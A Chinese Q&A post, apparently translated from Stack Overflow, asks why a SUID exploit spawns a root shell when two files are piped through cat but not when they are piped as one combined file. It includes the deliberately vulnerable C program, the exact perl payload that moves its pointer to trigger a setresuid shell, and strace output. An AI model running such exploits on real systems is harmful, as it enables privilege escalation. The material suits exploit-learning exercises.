连接文件时奇怪的猫行为

时间:2015-06-23 04:58:57

标签: linux bash

我正在利用一个SUID程序,在我提供了一个有效载荷之后,产生了一个/ bin / sh shell,然后我在一个名为commandsFile的文件中编写了我想要执行的命令,我将这些命令传递给程序

cat payload commandsFile | ./vulnProg

这很好用。命令文件中的命令会立即执行,输出会由新生成的sh shell显示,执行完所有后sh会终止,我会回到bash提示符。

但是,如果我尝试一下猫的简单变化......

cat payload commandsFile > combinedFile
cat combinedFile | ./vulnProg

...现在没有执行任何命令。我回到我的bash提示符,绝对没有输出。

我试过......

cat payload commandsFile | xxd

cat payload commandsFile > combinedFile
cat combinedFile | xxd

看看vulnProg是什么“看到”。它们绝对相同,每个字节,每个换行符都是相同的。我的问题是为什么第一个版本会起作用而第二个版本不起作用?这两者有什么区别?

脆弱的计划:

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>


#define e(); if(((unsigned int)ptr & 0xff000000)==0xca000000) { setresuid(geteuid(), geteuid(), geteuid()); execlp("/bin/sh", "sh", "-i", NULL); }

void print(unsigned char *buf, int len)
{
    int i;

    printf("[ ");
    for(i=0; i < len; i++) printf("%x ", buf[i]); 
    printf(" ]\n");
}

int main()
{
    unsigned char buf[512];
    unsigned char *ptr = buf + (sizeof(buf)/2);
    unsigned int x;

    while((x = getchar()) != EOF) {
            switch(x) {
                    case '\n': print(buf, sizeof(buf)); continue; break;
                    case '\\': ptr--; break; 
                    default: e(); if(ptr > buf + sizeof(buf)) continue; ptr++[0] = x; break;
            }
    }
    printf("All done\n");
}

我的确切负载:

perl -e "print '\\\'x889192448" > /var/tmp/payload #move back ptr so that it starts with CA instead of FF which it initially contains.
echo a >> /var/tmp/payload #so that e() is called which spawns the shell

我的命令文件:

whoami
date
date

一些有用的输出:

$ sha1sum /var/tmp/combinedFile
1a0ba5bbdf9709e3f317b10a928a91dd63195733  /var/tmp/combinedFile

$ cat /var/tmp/payload /var/tmp/commands |sha1sum
1a0ba5bbdf9709e3f317b10a928a91dd63195733  -

此外:

$ strace -o /var/tmp/log1 cat /var/tmp/payload /var/tmp/commands > /dev/null
$ strace -o /var/tmp/log1 cat /var/tmp/payload /var/tmp/commands > /dev/null
$ diff /var/tmp/log1 /var/tmp/log2

1c1
< execve("/bin/cat", ["cat", "/var/tmp/payload", "/var/tmp/commands"],    [/* 21 vars */]) = 0
---
> execve("/bin/cat", ["cat", "/var/tmp/combinedFile"], [/* 21 vars */]) = 0
29,30c29,30
< open("/var/tmp/payload", O_RDONLY)   = 3
< fstat(3, {st_mode=S_IFREG|0664, st_size=889192450, ...}) = 0
---
> open("/var/tmp/combinedFile", O_RDONLY)   = 3
> fstat(3, {st_mode=S_IFREG|0664, st_size=889192470, ...}) = 0
27168,27176c27168,27169
< read(3, "a\n", 65536)                   = 2
< write(1, "a\n", 2)                      = 2
< read(3, "", 65536)                      = 0
< close(3)                                = 0
< open("/var/tmp/commands", O_RDONLY)     = 3
< fstat(3, {st_mode=S_IFREG|0664, st_size=20, ...}) = 0
< fadvise64(3, 0, 0, POSIX_FADV_SEQUENTIAL) = 0
< read(3, "whoami\ndate \ndate\n\n\n", 65536) = 20
< write(1, "whoami\ndate \ndate\n\n\n", 20) = 20
---
> read(3, "a\nwhoami\ndate \ndate\n\n\n", 65536) = 22
> write(1, "a\nwhoami\ndate \ndate\n\n\n", 22) = 22

但是我没有得到这个输出。有人可以解释一下吗?

1 个答案:

答案 0 :(得分:1)

假设数据确实相同(并且你的校验和表明它们是相同的),那么它们的交付方式一定有些奇怪吗?

我不能告诉你这是什么,但我知道如何找出:使用strace来观察系统调用cat在每种情况下的效果。

strace -o log1 cat payload commandsFile > /dev/null
strace -o log2 cat combinedFile > /dev/null
diff log1 log2

如果没有显示任何不同之处,请尝试以类似的方式跟踪vulnProg,或使用管道跟踪cat,而不是重定向。

您也可以尝试将跟踪详细程度提高(请参阅strace --help)。

最后,如果所有其他方法都失败了,请使用GDB逐步执行vulnProg代码。

编辑:

查看您的跟踪,很明显,一个案例使用两个write调用来实现另一个案例。这可能会对使用非阻塞读取的编写不良的程序产生影响,但您的程序看起来很好。